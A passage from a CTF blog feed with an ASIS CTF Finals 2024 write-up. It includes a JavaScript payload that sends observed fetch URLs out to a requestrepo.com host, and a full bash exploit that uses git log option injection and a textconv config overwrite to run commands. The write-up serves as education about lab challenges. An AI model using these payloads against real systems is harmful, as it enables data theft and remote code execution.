<section data-footnotes class="footnotes"><h2 class="sr-only" id="footnote-label">Footnotes</h2>
<ol>
<li id="user-content-fn-mizu-2">
<p>I created this challenge before <a href="https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations">this blog post</a> was published. I did notice it before the event, but apparently I did not read it very carefully :( <a href="#user-content-fnref-mizu-2" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a> <a href="#user-content-fnref-mizu-2-2" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩<sup>2</sup></a></p>
</li>
<li id="user-content-fn-webextension-polyfill">
<p>The original version of this challenge was a line <code>const<wbr> <wbr>api<wbr> = <wbr>globalThis<wbr>.<wbr>browser<wbr> || <wbr>globalThis<wbr>.<wbr>chrome</code> instead of the library, but I thought it was too obvious and then found that <code>webextension<wbr>-<wbr>polyfill</code> was also vulnerable. <a href="#user-content-fnref-webextension-polyfill" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-gpt-viterbi">
<p>I have actually implemented something similar before. It was able to decrypt MTP for various file types besides natural language. Specifically, it was used to decrypt the Conti ransomware. <a href="#user-content-fnref-gpt-viterbi" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
<li id="user-content-fn-finder">
<p>This CVE is found by me. <a href="#user-content-fnref-finder" data-footnote-backref class="data-footnote-backref" aria-label="Back to content">↩</a></p>
</li>
</ol>
</section>]]></content:encoded>
            <category domain="https://ouuan.moe/tag/writeup">writeup</category>
            <category domain="https://ouuan.moe/tag/ctf">ctf</category>
        </item>
        <item>
            <title><![CDATA[ASIS CTF Finals 2024 Write-Up]]></title>
            <link>https://ouuan.moe/post/2024/12/asis-ctf-finals-2024</link>
            <guid>https://ouuan.moe/post/2024/12/asis-ctf-finals-2024</guid>
            <pubDate>Sun, 29 Dec 2024 14:17:41 GMT</pubDate>
            <description><![CDATA[<p>Write-up for <a href="https://ctftime.org/event/2403">ASIS CTF Finals 2024</a> — Web challenges fetch-box and gitmails.</p>
]]></description>
            <content:encoded><![CDATA[<p>Write-up for <a href="https://ctftime.org/event/2403">ASIS CTF Finals 2024</a> — Web challenges fetch-box and gitmails.</p>

<h2 id="fetch-box-19-solves" class="heading"><a href="#fetch-box-19-solves" class="heading-anchor" aria-label="章节： fetch-box (19 solves)" tabindex="-1"></a><span>fetch-box (19 solves)</span></h2>
<p>Use <code class="break-all">PerformanceObserver</code> to observe <code>fetch</code> requests:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="JavaScript 代码块" data-v-c675dba6>JavaScript</h3><ile-root id="ile-51"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-51--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #0C969B">new</span><span style="color: #403F53"> </span><span style="color: #4876D6">PerformanceObserver</span><span style="color: #403F53">(</span><span style="color: #111111">(</span><span style="color: #403F53">list</span><span style="color: #111111">)</span><span style="color: #403F53"> </span><span style="color: #994CC3">=&gt;</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">list</span><span style="color: #994CC3">.</span><span style="color: #4876D6">getEntries</span><span style="color: #403F53">()</span><span style="color: #994CC3">.</span><span style="color: #4876D6">forEach</span><span style="color: #403F53">(</span><span style="color: #111111">(</span><span style="color: #403F53">entry</span><span style="color: #111111">)</span><span style="color: #403F53"> </span><span style="color: #994CC3">=&gt;</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> (</span><span style="color: #0C969B">entry</span><span style="color: #994CC3">.</span><span style="color: #111111">name</span><span style="color: #994CC3">.</span><span style="color: #4876D6">includes</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">/ping?</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)) {</span></span>
<span><span style="color: #403F53">            location </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">https://*.requestrepo.com/</span><span style="color: #111111">&#39;</span><span style="color: #403F53"> </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #0C969B">entry</span><span style="color: #994CC3">.</span><span style="color: #0C969B">name</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">        }</span></span>
<span><span style="color: #403F53">    });</span></span>
<span><span style="color: #403F53">})</span><span style="color: #994CC3">.</span><span style="color: #4876D6">observe</span><span style="color: #403F53">({entryTypes: [</span><span style="color: #111111">&#39;</span><span style="color: #C96765">resource</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]});</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #7FDBCA">new</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">PerformanceObserver</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">list</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=&gt;</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">list</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">getEntries</span><span style="color: #D6DEEB">()</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">forEach</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">entry</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=&gt;</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> (</span><span style="color: #7FDBCA">entry</span><span style="color: #C792EA">.</span><span style="color: #FAF39F">name</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">includes</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">/ping?</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)) {</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #D7DBE0">location</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">https://*.requestrepo.com/</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">entry</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">name</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">        }</span></span>
<span><span style="color: #D6DEEB">    });</span></span>
<span><span style="color: #D6DEEB">})</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">observe</span><span style="color: #D6DEEB">({entryTypes: [</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">resource</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">]});</span></span></code></pre></div></section>
<p>BTW, service worker does not work because it's not HTTPS.</p>
<h2 id="gitmails-5-solves" class="heading"><a href="#gitmails-5-solves" class="heading-anchor" aria-label="章节： gitmails (5 solves)" tabindex="-1"></a><span>gitmails (5 solves)</span></h2>
<h3 id="git-log-option-injection" class="heading"><a href="#git-log-option-injection" class="heading-anchor" aria-label="章节： git log option injection" tabindex="-1"></a><span><code>git log</code> option injection</span></h3>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-52"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-52--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">            emails </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">check_output</span><span style="color: #403F53">(</span></span>
<span><span style="color: #4876D6">                </span><span style="color: #111111">[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">git</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">, </span><span style="color: #111111">&#39;</span><span style="color: #C96765">log</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">, </span><span style="color: #111111">&#39;</span><span style="color: #C96765">--pretty=format:</span><span style="color: #4876D6">%a</span><span style="color: #C96765">e</span><span style="color: #111111">&#39;</span><span style="color: #4876D6">, </span></span>
<span><span style="color: #4876D6">                </span><span style="color: #994CC3">*</span><span style="color: #4876D6">(</span><span style="color: #111111">[</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;--author=</span><span style="color: #4876D6">{author}</span><span style="color: #C96765">&#39;</span><span style="color: #111111">]</span><span style="color: #4876D6"> </span><span style="color: #994CC3">if</span><span style="color: #4876D6"> author </span><span style="color: #994CC3">else</span><span style="color: #4876D6"> </span><span style="color: #111111">[]</span><span style="color: #4876D6">),</span></span>
<span><span style="color: #4876D6">                branch</span><span style="color: #111111">],</span></span>
<span><span style="color: #4876D6">                </span><span style="color: #403F53">cwd</span><span style="color: #994CC3">=</span><span style="color: #4876D6">repo_dir</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">            emails </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">check_output</span><span style="color: #D6DEEB">(</span></span>
<span><span style="color: #82AAFF">                </span><span style="color: #D9F5DD">[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">git</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">, </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">log</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">, </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">--pretty=format:</span><span style="color: #82AAFF">%a</span><span style="color: #ECC48D">e</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">, </span></span>
<span><span style="color: #82AAFF">                </span><span style="color: #C792EA">*</span><span style="color: #82AAFF">(</span><span style="color: #D9F5DD">[</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;--author=</span><span style="color: #82AAFF">{author}</span><span style="color: #ECC48D">&#39;</span><span style="color: #D9F5DD">]</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">if</span><span style="color: #82AAFF"> author </span><span style="color: #C792EA">else</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">[]</span><span style="color: #82AAFF">),</span></span>
<span><span style="color: #82AAFF">                branch</span><span style="color: #D9F5DD">],</span></span>
<span><span style="color: #82AAFF">                </span><span style="color: #D7DBE0">cwd</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">repo_dir</span></span></code></pre></div></section>
<p>Here the <code>branch</code> is supposed to be a branch, but it will be an option if it starts with <code>-</code>.</p>
<p>The <code>git</code> CLI does not allow such branch names, but we can modify the refs directly. For example:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Shell 代码块" data-v-c675dba6>Shell</h4><ile-root id="ile-53"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-53--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #4876D6">cp</span><span style="color: #403F53"> </span><span style="color: #4876D6">.git/refs/heads/master</span><span style="color: #403F53"> </span><span style="color: #4876D6">.git/refs/heads/--output=config</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #82AAFF">cp</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">.git/refs/heads/master</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">.git/refs/heads/--output=config</span></span></code></pre></div></section>
<h3 id="git-log-output-for-file-writing" class="heading"><a href="#git-log-output-for-file-writing" class="heading-anchor" aria-label="章节： git log --output for file writing" tabindex="-1"></a><span><code>git log --output</code> for file writing</span></h3>
<p>We can use <code>git log --output</code> to write the log to arbitrary file. Find this in <code>man git log</code> or <a href="https://gtfoargs.github.io/gtfoargs/git/">git | GTFOArgs</a>.</p>
<p>As <code>--<wbr>pretty<wbr>=<wbr>format<wbr>:%<wbr>ae</code> is set, we can use the email of each commit for each line in the output, e.g.:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Shell 代码块" data-v-c675dba6>Shell</h4><ile-root id="ile-54"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-54--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #4876D6">GIT_AUTHOR_EMAIL</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">pager = /readflag</span><span style="color: #111111">&quot;</span><span style="color: #403F53"> </span><span style="color: #4876D6">git</span><span style="color: #403F53"> </span><span style="color: #4876D6">commit</span><span style="color: #403F53"> </span><span style="color: #4876D6">--allow-empty</span><span style="color: #403F53"> </span><span style="color: #4876D6">-m</span><span style="color: #403F53"> </span><span style="color: #4876D6">nothing</span></span>
<span><span style="color: #4876D6">GIT_AUTHOR_EMAIL</span><span style="color: #994CC3">=</span><span style="color: #111111">&#39;</span><span style="color: #C96765">[core]</span><span style="color: #111111">&#39;</span><span style="color: #403F53"> </span><span style="color: #4876D6">git</span><span style="color: #403F53"> </span><span style="color: #4876D6">commit</span><span style="color: #403F53"> </span><span style="color: #4876D6">--allow-empty</span><span style="color: #403F53"> </span><span style="color: #4876D6">-m</span><span style="color: #403F53"> </span><span style="color: #4876D6">nothing</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C5E478">GIT_AUTHOR_EMAIL</span><span style="color: #C792EA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">pager = /readflag</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">git</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">commit</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">--allow-empty</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-m</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">nothing</span></span>
<span><span style="color: #C5E478">GIT_AUTHOR_EMAIL</span><span style="color: #C792EA">=</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">[core]</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">git</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">commit</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">--allow-empty</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-m</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">nothing</span></span></code></pre></div></section>
<h3 id="approaches-that-do-not-work" class="heading"><a href="#approaches-that-do-not-work" class="heading-anchor" aria-label="章节： Approaches that do not work" tabindex="-1"></a><span>Approaches that do not work</span></h3>
<ul>
<li><code>core<wbr>.<wbr>fsmonitor</code>: It's on GTFOArgs but it's not triggered by <code>git log</code>.</li>
<li><code>core.pager</code>: The output pipes into the <code>check_output</code> function without an interactive tty, so Git does not use a pager.</li>
<li><code class="break-all">core.alternateRefsCommand</code>: Need a known path to an <code>objects</code> directory that is not the current repository.</li>
<li><code>diff<wbr>.<wbr>external</code> / <code>diff<wbr>.&#x3C;<wbr>driver<wbr>>.<wbr>command</code>: Need both <code>-p</code> and <code>--ext-diff</code> but we can only inject a single option.</li>
</ul>
<h3 id="textconv-for-command-execution" class="heading"><a href="#textconv-for-command-execution" class="heading-anchor" aria-label="章节： textconv for command execution" tabindex="-1"></a><span><code>textconv</code> for command execution</span></h3>
<p><code>diff<wbr>.&#x3C;<wbr>driver<wbr>>.<wbr>textconv</code> can be used to execute arbitrary command with <code>git log -p</code>.</p>
<p>The <code>textconv</code> command is called as <code>&#x3C;cmd> &#x3C;filename></code>, so we can use <code>textconv<wbr> = /<wbr>readflag<wbr> '--<wbr>give<wbr>-<wbr>me<wbr>-<wbr>the<wbr>-<wbr>f<wbr>|<wbr>ag<wbr>' | <wbr>tee</code> to output the flag.</p>
<p>We need to set the diff driver in the <code>info<wbr>/<wbr>attributes</code> file, such as <code>* [<wbr>diff<wbr>=<wbr>flag<wbr>]</code> and <code>[diff "flag"] textconv = /readflag</code>.</p>
<p>However, we only have a single commit log (the branch argument is used as an option instead), so we will have identical <code>config</code> and <code>info<wbr>/<wbr>attributes</code>, but they have different syntax and contents.</p>
<p>The <code>config</code> needs to be completely valid, while <code>attributes</code> may have syntax errors. So we can append <code>a= diff=flag</code> to <code>config</code>, which is the attribute we need and also a valid line in <code>config</code>. Then add a file with name <code>a=</code> in the repository to see the diff.</p>
<h3 id="hosting-the-repository" class="heading"><a href="#hosting-the-repository" class="heading-anchor" aria-label="章节： Hosting the repository" tabindex="-1"></a><span>Hosting the repository</span></h3>
<p>If we don't want to use a public service like GitHub, we should host the repository to support read-only HTTP clone.</p>
<p>It's actually super easy. Just run <code>git<wbr> --<wbr>bare<wbr> <wbr>update<wbr>-<wbr>server<wbr>-<wbr>info</code> in the <code>.git</code> directory and run an HTTP server.</p>
<h3 id="final-script" class="heading"><a href="#final-script" class="heading-anchor" aria-label="章节： Final script" tabindex="-1"></a><span>Final script</span></h3>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Shell 代码块" data-v-c675dba6>Shell</h4><ile-root id="ile-55"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-55--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #989FB1">#!/bin/bash</span></span>
<span></span>
<span><span style="color: #4876D6">set</span><span style="color: #403F53"> </span><span style="color: #4876D6">-euo</span><span style="color: #403F53"> </span><span style="color: #4876D6">pipefail</span></span>
<span></span>
<span><span style="color: #4876D6">mkdir</span><span style="color: #403F53"> </span><span style="color: #4876D6">exp</span></span>
<span><span style="color: #4876D6">cd</span><span style="color: #403F53"> </span><span style="color: #4876D6">exp</span></span>
<span><span style="color: #4876D6">git</span><span style="color: #403F53"> </span><span style="color: #4876D6">init</span></span>
<span></span>
<span><span style="color: #4876D6">touch</span><span style="color: #403F53"> </span><span style="color: #4876D6">a=</span></span>
<span><span style="color: #4876D6">git</span><span style="color: #403F53"> </span><span style="color: #4876D6">add</span><span style="color: #403F53"> </span><span style="color: #4876D6">.</span></span>
<span><span style="color: #4876D6">GIT_AUTHOR_EMAIL</span><span style="color: #994CC3">=</span><span style="color: #111111">&#39;</span><span style="color: #C96765">a= diff=flag</span><span style="color: #111111">&#39;</span><span style="color: #403F53"> </span><span style="color: #4876D6">git</span><span style="color: #403F53"> </span><span style="color: #4876D6">commit</span><span style="color: #403F53"> </span><span style="color: #4876D6">-m</span><span style="color: #403F53"> </span><span style="color: #4876D6">nothing</span></span>
<span><span style="color: #4876D6">GIT_AUTHOR_EMAIL</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">textconv = /readflag &#39;--give-me-the-f|ag&#39; | tee</span><span style="color: #111111">&quot;</span><span style="color: #403F53"> </span><span style="color: #4876D6">git</span><span style="color: #403F53"> </span><span style="color: #4876D6">commit</span><span style="color: #403F53"> </span><span style="color: #4876D6">--allow-empty</span><span style="color: #403F53"> </span><span style="color: #4876D6">-m</span><span style="color: #403F53"> </span><span style="color: #4876D6">nothing</span></span>
<span><span style="color: #4876D6">GIT_AUTHOR_EMAIL</span><span style="color: #994CC3">=</span><span style="color: #111111">&#39;</span><span style="color: #C96765">[diff &quot;flag&quot;]</span><span style="color: #111111">&#39;</span><span style="color: #403F53"> </span><span style="color: #4876D6">git</span><span style="color: #403F53"> </span><span style="color: #4876D6">commit</span><span style="color: #403F53"> </span><span style="color: #4876D6">--allow-empty</span><span style="color: #403F53"> </span><span style="color: #4876D6">-m</span><span style="color: #403F53"> </span><span style="color: #4876D6">nothing</span></span>
<span></span>
<span><span style="color: #4876D6">cd</span><span style="color: #403F53"> </span><span style="color: #4876D6">.git</span></span>
<span><span style="color: #4876D6">cp</span><span style="color: #403F53"> </span><span style="color: #4876D6">refs/heads/master</span><span style="color: #403F53"> </span><span style="color: #4876D6">refs/heads/--output=config</span></span>
<span><span style="color: #4876D6">mkdir</span><span style="color: #403F53"> </span><span style="color: #4876D6">refs/heads/--output=info</span></span>
<span><span style="color: #4876D6">cp</span><span style="color: #403F53"> </span><span style="color: #4876D6">refs/heads/master</span><span style="color: #403F53"> </span><span style="color: #4876D6">refs/heads/--output=info/attributes</span></span>
<span><span style="color: #4876D6">cp</span><span style="color: #403F53"> </span><span style="color: #4876D6">refs/heads/master</span><span style="color: #403F53"> </span><span style="color: #4876D6">refs/heads/-p</span></span>
<span></span>
<span><span style="color: #4876D6">git</span><span style="color: #403F53"> </span><span style="color: #4876D6">--bare</span><span style="color: #403F53"> </span><span style="color: #4876D6">update-server-info</span></span>
<span><span style="color: #4876D6">python</span><span style="color: #403F53"> </span><span style="color: #4876D6">-m</span><span style="color: #403F53"> </span><span style="color: #4876D6">http.server</span><span style="color: #403F53"> </span><span style="color: #AA0982">1337</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #637777">#!/bin/bash</span></span>
<span></span>
<span><span style="color: #C5E478">set</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-euo</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">pipefail</span></span>
<span></span>
<span><span style="color: #82AAFF">mkdir</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">exp</span></span>
<span><span style="color: #C5E478">cd</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">exp</span></span>
<span><span style="color: #82AAFF">git</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">init</span></span>
<span></span>
<span><span style="color: #82AAFF">touch</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">a=</span></span>
<span><span style="color: #82AAFF">git</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">add</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">.</span></span>
<span><span style="color: #C5E478">GIT_AUTHOR_EMAIL</span><span style="color: #C792EA">=</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">a= diff=flag</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">git</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">commit</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-m</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">nothing</span></span>
<span><span style="color: #C5E478">GIT_AUTHOR_EMAIL</span><span style="color: #C792EA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">textconv = /readflag &#39;--give-me-the-f|ag&#39; | tee</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">git</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">commit</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">--allow-empty</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-m</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">nothing</span></span>
<span><span style="color: #C5E478">GIT_AUTHOR_EMAIL</span><span style="color: #C792EA">=</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">[diff &quot;flag&quot;]</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">git</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">commit</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">--allow-empty</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-m</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">nothing</span></span>
<span></span>
<span><span style="color: #C5E478">cd</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">.git</span></span>
<span><span style="color: #82AAFF">cp</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">refs/heads/master</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">refs/heads/--output=config</span></span>
<span><span style="color: #82AAFF">mkdir</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">refs/heads/--output=info</span></span>
<span><span style="color: #82AAFF">cp</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">refs/heads/master</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">refs/heads/--output=info/attributes</span></span>
<span><span style="color: #82AAFF">cp</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">refs/heads/master</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">refs/heads/-p</span></span>
<span></span>
<span><span style="color: #82AAFF">git</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">--bare</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">update-server-info</span></span>
<span><span style="color: #82AAFF">python</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-m</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">http.server</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1337</span></span></code></pre></div></section>
<p>Then ask the challenge server to clone your HTTP git server.</p>]]></content:encoded>
            <category domain="https://ouuan.moe/tag/writeup">writeup</category>
            <category domain="https://ouuan.moe/tag/ctf">ctf</category>
        </item>
        <item>
            <title><![CDATA[TSG CTF 2024 Web Write-Up]]></title>
            <link>https://ouuan.moe/post/2024/12/tsgctf-2024-web</link>
            <guid>https://ouuan.moe/post/2024/12/tsgctf-2024-web</guid>
            <pubDate>Tue, 17 Dec 2024 03:39:37 GMT</pubDate>
            <description><![CDATA[<p>Write-up for all <a href="https://ctftime.org/event/2424/">TSG CTF 2024</a> Web challenges (solved by me and blue-lotus team members).</p>
]]></description>
            <content:encoded><![CDATA[<p>Write-up for all <a href="https://ctftime.org/event/2424/">TSG CTF 2024</a> Web challenges (solved by me and blue-lotus team members).</p>

<h2 id="toolong-tea-143-solves" class="heading"><a href="#toolong-tea-143-solves" class="heading-anchor" aria-label="章节： Toolong Tea (143 solves)" tabindex="-1"></a><span>Toolong Tea (143 solves)</span></h2>
<p>Solved independently by @gml-sec, @Eki, and me.</p>
